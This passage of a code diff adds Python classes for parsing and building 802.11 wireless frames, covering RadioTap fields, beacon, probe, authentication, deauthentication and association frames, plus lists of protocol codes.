+    def get_antenna( self ):
+        "Set Rx/Tx antenna index for this packet. "\
+        "The first antenna is antenna 0. "\
+        
+        values=self.__get_field_values(self.RTF_ANTENNA)
+        if not values:
+            return None
+        return values[0]
+
+    def set_dB_ant_signal( self, signal ):
+        "Set the RF signal power at the antenna, decibel difference from an "\
+        "arbitrary, fixed reference." 
+
+        self.__set_field_values(self.RTF_DB_ANTSIGNAL, [signal])
+   
+    def get_dB_ant_signal( self ):
+        "Get the RF signal power at the antenna, decibel difference from an "\
+        "arbitrary, fixed reference." 
+
+        values=self.__get_field_values(self.RTF_DB_ANTSIGNAL)
+        if not values:
+            return None
+        return values[0]
+
+    def set_dB_ant_noise( self, signal ):
+        "Set the RF noise power at the antenna, decibel difference from an "\
+        "arbitrary, fixed reference." 
+
+        self.__set_field_values(self.RTF_DB_ANTNOISE, [signal])
+   
+    def get_dB_ant_noise( self ):
+        "Get the RF noise power at the antenna, decibel difference from an "\
+        "arbitrary, fixed reference." 
+
+        values=self.__get_field_values(self.RTF_DB_ANTNOISE)
+        if not values:
+            return None
+        return values[0]
+
+##    def set_rx_flags( self, flags ):
+##        "Set the properties of received frames." 
+##
+##        self.__set_field_values(self.RTF_RX_FLAGS, [flags])
+##   
+##    def get_rx_flags( self ):
+##        "Get the properties of received frames." 
+##
+##        values=self.__get_field_values(self.RTF_RX_FLAGS)
+##        if not values:
+##            return None
+##        return values[0]
+
+    def set_FCS_in_header( self, fcs ):
+        "Set the Field containing the FCS of the frame (instead of it being "\
+        "appended to the frame as it would appear on the air.) " 
+
+        self.__set_field_values(self.RTF_FCS_IN_HEADER, [fcs])
+   
+    def get_FCS_in_header( self ):
+        "Get the Field containing the FCS of the frame (instead of it being "\
+        "appended to the frame as it would appear on the air.) " 
+
+        values=self.__get_field_values(self.RTF_FCS_IN_HEADER)
+        if not values:
+            return None
+        return values[0]
+
+##    def set_RSSI( self, rssi, max_rssi ):
+##        "Set the received signal strength and the maximum for the hardware." 
+##        
+##        self.__set_field_values(self.RTF_RSSI, [rssi, max_rssi])
+##   
+##    def get_RSSI( self ):
+##        "Get the received signal strength and the maximum for the hardware." 
+##        
+##        values=self.__get_field_values(self.RTF_RSSI)
+##        
+##        return values
+
+    def set_RTS_retries( self, retries):
+        "Set the number of RTS retries a transmitted frame used." 
+        
+        self.__set_field_values(self.RTF_RTS_RETRIES, [retries])
+   
+    def get_RTS_retries( self ):
+        "Get the number of RTS retries a transmitted frame used." 
+        
+        values=self.__get_field_values(self.RTF_RTS_RETRIES)
+        if not values:
+            return None
+        return values[0]
+
+    def set_tx_flags( self, flags ):
+        "Set the properties of transmitted frames." 
+
+        self.__set_field_values(self.RTF_TX_FLAGS, [flags])
+   
+    def get_tx_flags( self ):
+        "Get the properties of transmitted frames." 
+
+        values=self.__get_field_values(self.RTF_TX_FLAGS)
+        if not values:
+            return None
+        return values[0]
+
+    def set_xchannel( self, flags, freq, channel, maxpower ):
+        "Set extended channel information: flags, freq, channel and maxpower" 
+        
+        self.__set_field_values(self.RTF_XCHANNEL, [flags, freq, channel, maxpower] )
+   
+    def get_xchannel( self ):
+        "Get extended channel information: flags, freq, channel and maxpower" 
+        
+        values=self.__get_field_values(field=self.RTF_XCHANNEL)
+
+        return values
+
+    def set_data_retries( self, retries ):
+        "Set the number of data retries a transmitted frame used." 
+
+        self.__set_field_values(self.RTF_DATA_RETRIES, [retries])
+   
+    def get_data_retries( self ):
+        "Get the number of data retries a transmitted frame used." 
+
+        values=self.__get_field_values(self.RTF_DATA_RETRIES)
+        if not values:
+            return None
+        return values[0]
+
+    def set_hardware_queue( self, queue ):
+        "Set the hardware queue to send the frame on." 
+
+        self.__set_field_values(self.RTF_HARDWARE_QUEUE, [queue])
+   
+##    def get_hardware_queue( self ):
+##        "Get the hardware queue to send the frame on." 
+##
+##        values=self.__get_field_values(self.RTF_HARDWARE_QUEUE)
+##        if not values:
+##            return None
+##        return values[0]
+
+    def __update_header_length(self):
+        'Update the RadioTap header length field with the real size'
+        self.header.set_word(2, self.get_header_size(), "<")
+
+    def get_packet(self):
+        self.__update_header_length()
+        return ProtocolPacket.get_packet(self)
+
+class Dot11ManagementFrame(ProtocolPacket):
+    '802.11 Management Frame'
+    
+    def __init__(self, aBuffer = None):
+        header_size = 22
+        tail_size = 0
+
+        ProtocolPacket.__init__(self, header_size, tail_size)
+        if(aBuffer):
+            self.load_packet(aBuffer)
+
+    def get_duration(self):
+        'Return 802.11 Management frame \'Duration\' field'
+        b = self.header.get_word(0, "<")
+        return b 
+
+    def set_duration(self, value):
+        'Set the 802.11 Management frame \'Duration\' field' 
+        # set the bits
+        nb = value & 0xFFFF
+        self.header.set_word(0, nb, "<")
+        
+    def get_destination_address(self):
+        'Return 802.11 Management frame \'Destination Address\' field as a 6 bytes array'
+        return self.header.get_bytes()[2:8]
+
+    def set_destination_address(self, value):
+        'Set 802.11 Management frame \'Destination Address\' field as a 6 bytes array'
+        for i in range(0, 6):
+            self.header.set_byte(2+i, value[i])
+
+    def get_source_address(self):
+        'Return 802.11 Management frame \'Source Address\' field as a 6 bytes array'
+        return self.header.get_bytes()[8:14]
+
+    def set_source_address(self, value):
+        'Set 802.11 Management frame \'Source Address\' field as a 6 bytes array'
+        for i in range(0, 6):
+            self.header.set_byte(8+i, value[i])
+            
+    def get_bssid(self):
+        'Return 802.11 Management frame \'BSSID\' field as a 6 bytes array'
+        return self.header.get_bytes()[14: 20]
+
+    def set_bssid(self, value):
+        'Set 802.11 Management frame \'BSSID\' field as a 6 bytes array'
+        for i in range(0, 6):
+            self.header.set_byte(14+i, value[i])
+
+    def get_sequence_control(self):
+        'Return 802.11 Management frame \'Sequence Control\' field'
+        b = self.header.get_word(20, "<")
+        return b 
+
+    def set_sequence_control(self, value):
+        'Set the 802.11 Management frame \'Sequence Control\' field' 
+        # set the bits
+        nb = value & 0xFFFF
+        self.header.set_word(20, nb, "<")
+
+    def get_fragment_number(self):
+        'Return 802.11 Management frame \'Fragment Number\' subfield'
+
+        b = self.get_sequence_control()
+        return (b&0x000F) 
+
+    def set_fragment_number(self, value):
+        'Set the 802.11 Management frame \'Fragment Number\' subfield' 
+        # clear the bits
+        mask = (~0x000F) & 0xFFFF
+        masked = self.header.get_word(20, "<") & mask
+        # set the bits 
+        nb = masked | (value & 0x000F)
+        self.header.set_word(20, nb, "<")
+        
+    def get_sequence_number(self):
+        'Return 802.11 Management frame \'Sequence Number\' subfield'
+        
+        b = self.get_sequence_control()
+        return ((b>>4) & 0xFFF) 
+    
+    def set_sequence_number(self, value):
+        'Set the 802.11 Management frame \'Sequence Number\' subfield' 
+        # clear the bits
+        mask = (~0xFFF0) & 0xFFFF
+        masked = self.header.get_word(20, "<") & mask
+        # set the bits 
+        nb = masked | ((value & 0x0FFF ) << 4 ) 
+        self.header.set_word(20, nb, "<")
+
+    def get_frame_body(self):
+        'Return 802.11 Management frame \'Frame Body\' field'
+        
+        return self.get_body_as_string()
+
+    def set_frame_body(self, data):
+        'Set 802.11 Management frame \'Frame Body\' field'
+        
+        self.load_body(data)
+
+class DOT11_MANAGEMENT_ELEMENTS():
+    SSID                    =  0
+    SUPPORTED_RATES         =  1
+    FH_PARAMETER_SET        =  2
+    DS_PARAMETER_SET        =  3
+    CF_PARAMETER_SET        =  4
+    TIM                     =  5
+    IBSS_PARAMETER_SET      =  6
+    COUNTRY                 =  7
+    HOPPING_PARAMETER       =  8
+    HOPPING_TABLE           =  9
+    REQUEST                 = 10
+    BSS_LOAD                = 11
+    EDCA_PARAMETER_SET      = 12
+    TSPEC                   = 13
+    TCLAS                   = 14
+    SCHEDULE                = 15
+    CHALLENGE_TEXT          = 16
+    # RESERVED                17-31 
+    POWER_CONSTRAINT        = 32
+    POWER_CAPABILITY        = 33
+    TPC_REQUEST             = 34
+    TPC_REPORT              = 35
+    SUPPORTED_CHANNELS      = 36
+    CHANNEL_SWITCH_ANN      = 37
+    MEASURE_REQ             = 38
+    MEASURE_REP             = 39
+    QUIET                   = 40
+    IBSS_DFS                = 41
+    ERP_INFO                = 42
+    TS_DELAY                = 43
+    TCLAS_PROCESSING        = 44
+    #RESERVED                 45  # See: IEEE 802.11n
+    QOS_CAPABILITY          = 46
+    #RESERVED                 47  # See: IEEE 802.11g
+    RSN                     = 48
+    #RESERVED                 49
+    EXT_SUPPORTED_RATES     = 50
+    #RESERVED                 51-126
+    EXTENDED_CAPABILITIES   = 127
+    #RESERVED                 128-220
+    VENDOR_SPECIFIC         = 221
+    #RESERVED                 222-255
+    
+class Dot11ManagementHelper(ProtocolPacket):
+        
+    def __init__(self, header_size, tail_size, aBuffer = None):
+        self.__HEADER_BASE_SIZE=header_size
+        
+        if aBuffer:
+            elements_length=self.__calculate_elements_length(aBuffer[self.__HEADER_BASE_SIZE:])
+            header_size+=elements_length
+            
+            ProtocolPacket.__init__(self, header_size, tail_size)
+            self.load_packet(aBuffer)
+        else:
+            ProtocolPacket.__init__(self, header_size, tail_size)
+
+    def _find_element(self, elements, element_id ):
+        remaining=len(elements)
+        
+        offset=0
+        while remaining > 0:
+            (id,length)=struct.unpack("!BB",elements[offset:offset+2])
+            if element_id is None:
+                pass # through the whole list returning the length
+            elif id==element_id:
+                yield (0,offset,length+2)    # ==
+            length+=2 #id+length
+            offset+=length
+            if length>remaining:
+                # Error!!
+                length = remaining
+            remaining-=length
+        # < Not found
+        yield (-1, offset, None)
+
+    def __calculate_elements_length(self, elements):
+        gen_tp=self._find_element(elements, None )
+        (match,offset,length)=next(gen_tp)
+        if match != -1:
+            # element_id is None, then __find_tagged_parameter must return -1
+            raise Exception("Internal Error %s"%match)
+        return offset
+        
+    def _get_elements_generator(self, element_id):
+        elements=self.get_header_as_string()[self.__HEADER_BASE_SIZE:]
+        gen_tp=self._find_element(elements, element_id )
+        while True:
+            (match,offset,length)=next(gen_tp)
+            if match != 0:
+                return
+            value_offset=offset+2
+            value_end=offset+length
+            value=elements[value_offset:value_end]
+            yield value
+        
+    def _get_element(self, element_id):
+        gen_get_element=self._get_elements_generator(element_id)
+        try:
+            s=next(gen_get_element)
+            
+            if s is None:
+                raise Exception("gen_get_element salio con None in _get_element!!!")
+            
+            return s
+        except StopIteration:
+            pass
+            
+        return None
+
+    def delete_element(self, element_id, multiple = False):
+        header=self.get_header_as_string()
+        elements=header[self.__HEADER_BASE_SIZE:]
+        gen_tp=self._find_element(elements, element_id )
+        found=False
+        while True:
+            (match,offset,length)=next(gen_tp)
+            if match != 0:
+                break
+            start=self.__HEADER_BASE_SIZE+offset
+            header=header[:start]+header[start+length:]
+            found=True
+            if multiple is False:
+                break
+            
+        if not found:
+            return  False
+        
+        self.load_header(header)
+        return True
+    
+    def _set_element(self, element_id, value, replace = True):
+        parameter=struct.pack('BB%ds'%len(value),element_id,len(value),value)
+        
+        header=self.get_header_as_string()
+        elements=header[self.__HEADER_BASE_SIZE:]
+        gen_tp=self._find_element(elements, element_id )
+        found=False
+        while True:
+            (match,offset,length)=next(gen_tp)
+            start=self.__HEADER_BASE_SIZE+offset
+            if match == 0 and replace:
+                # Replace
+                header=header[:start]+parameter+header[start+length:]
+                found=True
+                break
+            elif match > 0:
+                # Add
+                header=header[:start]+parameter+header[start:]
+                found=True
+                break
+            else:
+                break
+        if not found:
+            # Append (found<0 Not found)
+            header=header+parameter        
+        self.load_header(header)
+
+class Dot11ManagementBeacon(Dot11ManagementHelper):
+    '802.11 Management Beacon Frame'
+        
+    __HEADER_BASE_SIZE = 12 # minimal header size
+
+    def __init__(self, aBuffer = None):
+        header_size = self.__HEADER_BASE_SIZE
+        tail_size = 0
+        Dot11ManagementHelper.__init__(self, header_size, tail_size, aBuffer)
+
+    def get_timestamp(self):
+        'Return the 802.11 Management Beacon frame \'Timestamp\' field' 
+        b = self.header.get_long_long(0, "<")
+        return b 
+
+    def set_timestamp(self, value):
+        'Set the 802.11 Management Beacon frame \'Timestamp\' field' 
+        # set the bits
+        nb = value & 0xFFFFFFFFFFFFFFFF
+        self.header.set_long_long(0, nb, "<")
+
+    def get_beacon_interval(self):
+        'Return the 802.11 Management Beacon frame \'Beacon Interval\' field' \
+        'To convert it to seconds =>  secs = Beacon_Interval*1024/1000000'
+
+        b = self.header.get_word(8, "<")
+        return b 
+
+    def set_beacon_interval(self, value):
+        'Set the 802.11 Management Beacon frame \'Beacon Interval\' field' 
+        # set the bits
+        nb = value & 0xFFFF
+        self.header.set_word(8, nb, "<")
+
+    def get_capabilities(self):
+        'Return the 802.11 Management Beacon frame \'Capability information\' field. '
+        
+        b = self.header.get_word(10, "<")
+        return b 
+
+    def set_capabilities(self, value):
+        'Set the 802.11 Management Beacon frame \'Capability Information\' field' 
+        # set the bits
+        nb = value & 0xFFFF
+        self.header.set_word(10, nb, "<")
+        
+    def get_ssid(self):
+        "Get the 802.11 Management SSID element. "\
+        "The SSID element indicates the identity of an ESS or IBSS."
+        return self._get_element(DOT11_MANAGEMENT_ELEMENTS.SSID)
+
+    def set_ssid(self, ssid):
+        self._set_element(DOT11_MANAGEMENT_ELEMENTS.SSID,ssid)
+
+    def get_supported_rates(self, human_readable=False):
+        "Get the 802.11 Management Supported Rates element. "\
+        "Specifies up to eight rates, then an Extended Supported Rate element "\
+        "shall be generated to specify the remaining supported rates."\
+        "If human_readable is True, the rates are returned in Mbit/sec"
+        s=self._get_element(DOT11_MANAGEMENT_ELEMENTS.SUPPORTED_RATES)
+        if s is None:
+            return None
+        
+        rates=struct.unpack('%dB'%len(s),s)
+        if not human_readable:
+            return rates
+            
+        rates_Mbs=tuple([(x&0x7F)*0.5 for x in rates])
+        return rates_Mbs
+
+    def set_supported_rates(self, rates):
+        "Set the 802.11 Management Supported Rates element. "\
+        "Specifies a tuple or list with up to eight rates, then an "\
+        "Extended Supported Rate element shall be generated to specify "\
+        "the remaining supported rates."
+        qty_rates=len(rates)
+        if qty_rates>8:
+            raise Exception("requires up to eight rates")
+        rates_string=struct.pack('B'*qty_rates,*rates)
+        self._set_element(DOT11_MANAGEMENT_ELEMENTS.SUPPORTED_RATES,rates_string)
+
+    def get_ds_parameter_set(self):
+        "Get the 802.11 Management DS Parameter set element. "\
+        "Contains information to allow channel number identification for "\
+        "STAs using a DSSS PHY."
+        s=self._get_element(DOT11_MANAGEMENT_ELEMENTS.DS_PARAMETER_SET)
+        if s is None:
+            return None
+        
+        (ch,)=struct.unpack('B',s)
+
+        return ch
+
+    def set_ds_parameter_set(self, channel):
+        "Set the 802.11 Management DS Parameter set element. "\
+        "Contains information to allow channel number identification for "\
+        "STAs using a DSSS PHY."
+        channel_string=struct.pack('B',channel)
+        self._set_element(DOT11_MANAGEMENT_ELEMENTS.DS_PARAMETER_SET,channel_string)
+
+    def get_rsn(self):
+        "Get the 802.11 Management Robust Security Network element."
+        s = self._get_element(DOT11_MANAGEMENT_ELEMENTS.RSN)
+        if s is None:
+            return None
+        return s
+
+    def set_rsn(self, data):
+        "Set the 802.11 Management Robust Security Network element."
+        self._set_element(DOT11_MANAGEMENT_ELEMENTS.RSN, data)
+
+    def get_erp(self):
+        "Get the 802.11 Management ERP (extended rate PHY) Information element."
+        s = self._get_element(DOT11_MANAGEMENT_ELEMENTS.ERP_INFO)
+        if s is None:
+            return None
+
+        (erp,) = struct.unpack('B',s)
+        
+        return erp
+
+    def set_erp(self, erp):
+        "Set the 802.11 Management ERP (extended rate PHY) Inforamation "\
+        "element."
+        erp_string = struct.pack('B',erp)
+        self._set_element(DOT11_MANAGEMENT_ELEMENTS.ERP_INFO, erp_string)
+
+    def get_country(self):
+        "Get the 802.11 Management Country element." \
+        "Returns a tuple containing Country code, first channel number, "\
+        "number of channels and maximum transmit power level"
+        s = self._get_element(DOT11_MANAGEMENT_ELEMENTS.COUNTRY)
+        if s is None:
+            return None
+
+        code, first, num, max = struct.unpack('3sBBB',s)
+        code = code.strip(' ')
+        return code, first, num, max
+
+    def set_country(self, code, first_channel, number_of_channels, max_power):
+        "Set the 802.11 Management Country element."
+        if len(code) > 3:
+            raise Exception("Country code must be up to 3 bytes long")
+
+        #Padding the country code
+        code += ' ' * (3-len(code))
+
+        country_string = struct.pack('3sBBB', code, first_channel,
+                number_of_channels, max_power)
+        self._set_element(DOT11_MANAGEMENT_ELEMENTS.COUNTRY, country_string)
+
+    def get_vendor_specific(self):
+        "Get the 802.11 Management Vendor Specific elements "\
+        "as a list of tuples."
+        "The Vendor Specific information element is used to carry "\
+        "information not defined in the standard within a single "\
+        "defined format"
+        
+        vs=[]
+        gen_get_element=self._get_elements_generator(DOT11_MANAGEMENT_ELEMENTS.VENDOR_SPECIFIC)
+        try:
+            while 1:
+                s=next(gen_get_element)
+                
+                if s is None:
+                    raise Exception("gen_get_element salio con None!!!")
+                
+                # OUI is 3 bytes
+                oui=s[:3]
+                data=s[3:]
+                vs.append((oui,data))
+        except StopIteration:
+            pass
+            
+        return vs
+
+    def add_vendor_specific(self, oui, data):
+        "Set the 802.11 Management Vendor Specific element. "\
+        "The Vendor Specific information element is used to carry "\
+        "information not defined in the standard within a single "\
+        "defined format"
+        
+        # 3 is the OUI length
+        max_data_len=255-3
+        data_len=len(data)
+
+        if data_len>max_data_len:
+            raise Exception("data allow up to %d bytes long" % max_data_len)
+        if len(oui) > 3:
+            raise Exception("oui is three bytes long")
+        
+        self._set_element(DOT11_MANAGEMENT_ELEMENTS.VENDOR_SPECIFIC,oui+data, replace=False)
+
+class Dot11ManagementProbeRequest(Dot11ManagementHelper):
+    '802.11 Management Probe Request Frame'
+        
+    def __init__(self, aBuffer = None):
+        header_size = 0
+        tail_size = 0
+        Dot11ManagementHelper.__init__(self, header_size, tail_size, aBuffer)
+
+    def get_ssid(self):
+        "Get the 802.11 Management SSID element. "\
+        "The SSID element indicates the identity of an ESS or IBSS."
+        return self._get_element(DOT11_MANAGEMENT_ELEMENTS.SSID)
+
+    def set_ssid(self, ssid):
+        self._set_element(DOT11_MANAGEMENT_ELEMENTS.SSID,ssid)
+
+    def get_supported_rates(self, human_readable=False):
+        "Get the 802.11 Management Supported Rates element. "\
+        "Specifies up to eight rates, then an Extended Supported Rate element "\
+        "shall be generated to specify the remaining supported rates."\
+        "If human_readable is True, the rates are returned in Mbit/sec"
+        s=self._get_element(DOT11_MANAGEMENT_ELEMENTS.SUPPORTED_RATES)
+        if s is None:
+            return None
+        
+        rates=struct.unpack('%dB'%len(s),s)
+        if not human_readable:
+            return rates
+            
+        rates_Mbs=tuple([(x&0x7F)*0.5 for x in rates])
+        return rates_Mbs
+
+    def set_supported_rates(self, rates):
+        "Set the 802.11 Management Supported Rates element. "\
+        "Specifies a tuple or list with up to eight rates, then an "\
+        "Extended Supported Rate element shall be generated to specify "\
+        "the remaining supported rates."
+        qty_rates=len(rates)
+        if qty_rates>8:
+            raise Exception("requires up to eight rates")
+        rates_string=struct.pack('B'*qty_rates,*rates)
+        self._set_element(DOT11_MANAGEMENT_ELEMENTS.SUPPORTED_RATES,rates_string)
+
+class Dot11ManagementProbeResponse(Dot11ManagementBeacon):
+    '802.11 Management Probe Response Frame'
+
+    def __init__(self, aBuffer = None):
+        Dot11ManagementBeacon.__init__(self, aBuffer)
+
+class DOT11_REASON_CODES():
+    # RESERVED                                         = 0
+    UNSPECIFIED_REASON                                 = 1
+    PREV_AUTH_NO_LONGER_VALID                          = 2
+    DEAUTH_STA_IS_LEAVING                              = 3
+    DISASS_DUE_TO_INACTIVITY                           = 4
+    DISASS_AP_UNABLE_HANDLE_ALL_STA                    = 5
+    C2_FRAME_FROM_NONAUTHENTICATED_STA                 = 6
+    C3_FRAME_FROM_NONASSOCIATED_STA                    = 7
+    DISSASS_STA_IS_LEAVING                             = 8
+    STA_REQ_NOT_AUTH_STA                               = 9
+    DISASS_POWER_CAP_IE_UNNACCEPTABLE                  = 10
+    DISASS_SUP_CH_IE_UNNACCEPTABLE                     = 11
+    # RESERVED                                         = 12
+    INVALID_IE                                         = 13
+    MIC_FAILURE                                        = 14
+    FOUR_WAY_HANDSHAKE_TIMEOUT                         = 15
+    GROUP_KEY_HANDSHAKE_TIMEOUT                        = 16
+    IE_FOUR_WAY_HANDSHAKE_DIFFERENT                    = 17
+    INVALID_GROUP_CIPHER                               = 18
+    INVALID_PAIRWISE_CIPHER                            = 19
+    INVALID_AKMP                                       = 20
+    UNSUPPORTED_RSN_IE_VERSION                         = 21
+    INVALID_RSN_IE_CAP                                 = 22
+    X_AUTH_FAILED                                      = 23
+    CIPHER_SUITE_REJECTED_SECURITY_POLICY              = 24
+    # RESERVED                                         = 25 - 31
+    DISASS_QOS_RELATED_REASON                          = 32
+    DISASS_QOS_UNSUFFICIENT_BANDWIDTH                  = 33
+    DISASS_EXCESSIVE_FRAMES_WITHOUT_ACK                = 34
+    DISASS_STA_TX_OUTSIDE_TXOPS                        = 35
+    REQ_STA_LEAVING                                    = 36
+    REQ_STA_NOT_WANT_MECHANISM                         = 37
+    REQ_STA_RECV_FRAMES_WHICH_SETUP_REQ                = 38
+    REQ_STA_DUE_TIMEOUT                                = 39
+    STA_NOT_SUPPORT_CIPHER_SUITE                       = 45
+    # RESERVED                                         = 46 - 65 535
+
+class Dot11ManagementDeauthentication(ProtocolPacket):
+    '802.11 Management Deauthentication Frame'
+
+    def __init__(self, aBuffer = None):
+        header_size = 2
+        tail_size = 0
+        if aBuffer:
+            ProtocolPacket.__init__(self, header_size, tail_size)
+            self.load_packet(aBuffer)
+        else:
+            ProtocolPacket.__init__(self, header_size, tail_size)
+
+    def get_reason_code(self):
+        "Get the 802.11 Management Deauthentication or Disassociation Code."
+        return self.header.get_word(0, "<")
+
+    def set_reason_code(self, rc):
+        self.header.set_word(0, rc, "<")
+
+class DOT11_AUTH_ALGORITHMS():
+    OPEN       = 0
+    SHARED_KEY = 1
+
+class DOT11_AUTH_STATUS_CODES():
+    SUCCESSFUL                                         = 0
+    UNSPECIFIED_FAILURE                                = 1
+    # RESERVED                                         = 2 - 9
+    CAP_REQ_UNSUPPORTED                                = 10
+    REASS_DENIED_CANNOT_CONFIRM_ASS_EXISTS             = 11
+    ASS_DENIED_REASON_OUTSIDE_SCOPE_STANDARD           = 12
+    STA_NOT_SUPPORT_AUTH_ALGORITHM                     = 13
+    AUTH_SEQ_OUT_OF_EXPECTED                           = 14
+    AUTH_REJECTED_CHALLENGE_FAILURE                    = 15
+    AUTH_REJECTED_TIMEOUT                              = 16
+    ASS_DENIED_AP_UNABLE_HANDLE_MORE_STA               = 17
+    ASS_DENIED_STA_NOT_SUPPORTING_DATA_RATES           = 18
+    ASS_DENIED_STA_NOT_SUPPORTING_SHORT_PREAMBLE       = 19
+    ASS_DENIED_STA_NOT_SUPPORTING_PBCC_MODULATION      = 20
+    ASS_DENIED_STA_NOT_SUPPORTING_CHANNEL_AGILITY      = 21
+    ASS_REQUEST_REJECTED_SPACTRUM_MGT_CAP              = 22
+    ASS_REQUEST_REJECTED_POWER_CAP_IE_UNNACCEPTABLE    = 23
+    ASS_REQUEST_REJECTED_SUP_CH_IE_UNNACCEPTABLE       = 24
+    ASS_DENIED_STA_NOT_SUPPORTING_SHORT_SLOT_TIME      = 25
+    ASS_DENIED_STA_NOT_SUPPORTING_DSSS_OFDM            = 26
+    # RESERVED                                         = 27 - 31
+    UNSPECIFIED_QOS                                    = 32
+    ASS_DENIED_QOS_UNSUFFICIENT_BANDWIDTH              = 33
+    ASS_DENIED_EXCESSIVE_FRAME_LOST                    = 34
+    ASS_DENIED_STA_NOT_SUPPORT_QOS                     = 35
+    # RESERVED                                         = 36
+    REQ_HAS_BEEN_DECLINED                              = 37
+    REQ_NOT_SUCCESSFUL_PARAM_INVALID_VALUE             = 38
+    TSPEC                                              = 39
+    INVALID_IE                                         = 40
+    INVALID_GROUP_CIPHER                               = 41
+    INVALID_PAIRWISE_CIPHER                            = 42
+    INVALID_AKMP                                       = 43
+    UNSUPPORTED_RSN_IE_VERSION                         = 44
+    INVALID_RSN_IE_CAP                                 = 45
+    CIPHER_SUITE_REJECTED_SECURITY_POLICY              = 46
+    TS_NOT_CREATED                                     = 47
+    DIRECT_LINK_NOT_ALLOWED_BSS_POLICY                 = 48
+    DST_STA_NOT_PRESENT_IN_BSS                         = 49
+    DST_STA_NOT_QOS_STA                                = 50
+    ASS_DENIED_LISTEN_INTERVAL_TOO_LARGE               = 51
+    # RESERVED                                         = 52 - 65 535
+
+class Dot11ManagementAuthentication(Dot11ManagementHelper):
+    '802.11 Management Authentication Frame'
+
+    __HEADER_BASE_SIZE = 6 # minimal header size
+
+    def __init__(self, aBuffer = None):
+        header_size = self.__HEADER_BASE_SIZE
+        tail_size = 0
+        Dot11ManagementHelper.__init__(self, header_size, tail_size, aBuffer)
+
+    def get_authentication_algorithm(self):
+        "Get the 802.11 Management Authentication Algorithm."
+        return self.header.get_word(0, "<")
+
+    def set_authentication_algorithm(self, algorithm):
+        "Set the 802.11 Management Authentication Algorithm."
+        self.header.set_word(0, algorithm, "<")
+
+    def get_authentication_sequence(self):
+        "Get the 802.11 Management Authentication Sequence."
+        return self.header.get_word(2, "<")
+
+    def set_authentication_sequence(self, seq):
+        "Set the 802.11 Management Authentication Sequence."
+        self.header.set_word(2, seq, "<")
+
+    def get_authentication_status(self):
+        "Get the 802.11 Management Authentication Status."
+        return self.header.get_word(4, "<")
+
+    def set_authentication_status(self, status):
+        "Set the 802.11 Management Authentication Status."
+        self.header.set_word(4, status, "<")
+
+    def get_challenge_text(self):
+        return self._get_element(DOT11_MANAGEMENT_ELEMENTS.CHALLENGE_TEXT)
+
+    def set_challenge_text(self, challenge):
+        self._set_element(DOT11_MANAGEMENT_ELEMENTS.CHALLENGE_TEXT, challenge)
+
+    def get_vendor_specific(self):
+        "Get the 802.11 Management Vendor Specific elements "\
+        "as a list of tuples."
+        "The Vendor Specific information element is used to carry "\
+        "information not defined in the standard within a single "\
+        "defined format"
+        
+        vs=[]
+        gen_get_element=self._get_elements_generator(DOT11_MANAGEMENT_ELEMENTS.VENDOR_SPECIFIC)
+        try:
+            while 1:
+                s=next(gen_get_element)
+                
+                if s is None:
+                    raise Exception("gen_get_element salio con None!!!")
+                
+                # OUI is 3 bytes
+                oui=s[:3]
+                data=s[3:]
+                vs.append((oui,data))
+        except StopIteration:
+            pass
+            
+        return vs
+
+    def add_vendor_specific(self, oui, data):
+        "Set the 802.11 Management Vendor Specific element. "\
+        "The Vendor Specific information element is used to carry "\
+        "information not defined in the standard within a single "\
+        "defined format"
+        
+        # 3 is the OUI length
+        max_data_len=255-3
+        data_len=len(data)
+
+        if data_len>max_data_len:
+            raise Exception("data allow up to %d bytes long" % max_data_len)
+        if len(oui) > 3:
+            raise Exception("oui is three bytes long")
+        
+        self._set_element(DOT11_MANAGEMENT_ELEMENTS.VENDOR_SPECIFIC,oui+data, replace=False)
+
+class Dot11ManagementDisassociation(Dot11ManagementDeauthentication):
+    '802.11 Management Disassociation Frame'
+
+    def __init__(self, aBuffer = None):
+        Dot11ManagementDeauthentication.__init__(self, aBuffer)
+
+class Dot11ManagementAssociationRequest(Dot11ManagementHelper):
+    '802.11 Management Association Request Frame'
+        
+    __HEADER_BASE_SIZE = 4 # minimal header size
+
+    def __init__(self, aBuffer = None):
+        header_size = self.__HEADER_BASE_SIZE
+        tail_size = 0
+        Dot11ManagementHelper.__init__(self, header_size, tail_size, aBuffer)
+
+    def get_capabilities(self):
+        'Return the 802.11 Management Association Request Frame \'Capability information\' field. '
+        b = self.header.get_word(0, "<")
+        return b 
+
+    def set_capabilities(self, value):
+        'Set the 802.11 Management Association Request Frame \'Capability Information\' field' 
+        # set the bits
+        nb = value & 0xFFFF
+        self.header.set_word(0, nb, "<")
+        
+    def get_listen_interval(self):
+        'Return the 802.11 Management Association Request Frame \'Listen Interval\' field. '
+        b = self.header.get_word(2, "<")
+        return b 
+
+    def set_listen_interval(self, value):
+        'Set the 802.11 Management Association Request Frame \'Listen Interval\' field' 
+        self.header.set_word(2, value, "<")
+        
+    def get_ssid(self):
+        "Get the 802.11 Management SSID element. "\
+        "The SSID element indicates the identity of an ESS or IBSS."
+        return self._get_element(DOT11_MANAGEMENT_ELEMENTS.SSID)
+
+    def set_ssid(self, ssid):
+        self._set_element(DOT11_MANAGEMENT_ELEMENTS.SSID,ssid)
+
+    def get_supported_rates(self, human_readable=False):
+        "Get the 802.11 Management Supported Rates element. "\
+        "Specifies up to eight rates, then an Extended Supported Rate element "\
+        "shall be generated to specify the remaining supported rates."\
+        "If human_readable is True, the rates are returned in Mbit/sec"
+        s=self._get_element(DOT11_MANAGEMENT_ELEMENTS.SUPPORTED_RATES)
+        if s is None:
+            return None
+        
+        rates=struct.unpack('%dB'%len(s),s)
+        if not human_readable:
+            return rates
+            
+        rates_Mbs=tuple([(x&0x7F)*0.5 for x in rates])
+        return rates_Mbs
+
+    def set_supported_rates(self, rates):
+        "Set the 802.11 Management Supported Rates element. "\
+        "Specifies a tuple or list with up to eight rates, then an "\
+        "Extended Supported Rate element shall be generated to specify "\
+        "the remaining supported rates."
+        qty_rates=len(rates)
+        if qty_rates>8:
+            raise Exception("requires up to eight rates")
+        rates_string=struct.pack('B'*qty_rates,*rates)
+        self._set_element(DOT11_MANAGEMENT_ELEMENTS.SUPPORTED_RATES,rates_string)
+
+    def get_rsn(self):
+        "Get the 802.11 Management Robust Security Network element."
+        s = self._get_element(DOT11_MANAGEMENT_ELEMENTS.RSN)
+        if s is None:
+            return None
+        return s
+
+    def set_rsn(self, data):
+        "Set the 802.11 Management Robust Security Network element."
+        self._set_element(DOT11_MANAGEMENT_ELEMENTS.RSN, data)
+
+    def get_vendor_specific(self):
+        "Get the 802.11 Management Vendor Specific elements "\
+        "as a list of tuples."
+        "The Vendor Specific information element is used to carry "\
+        "information not defined in the standard within a single "\
+        "defined format"
+        
+        vs=[]
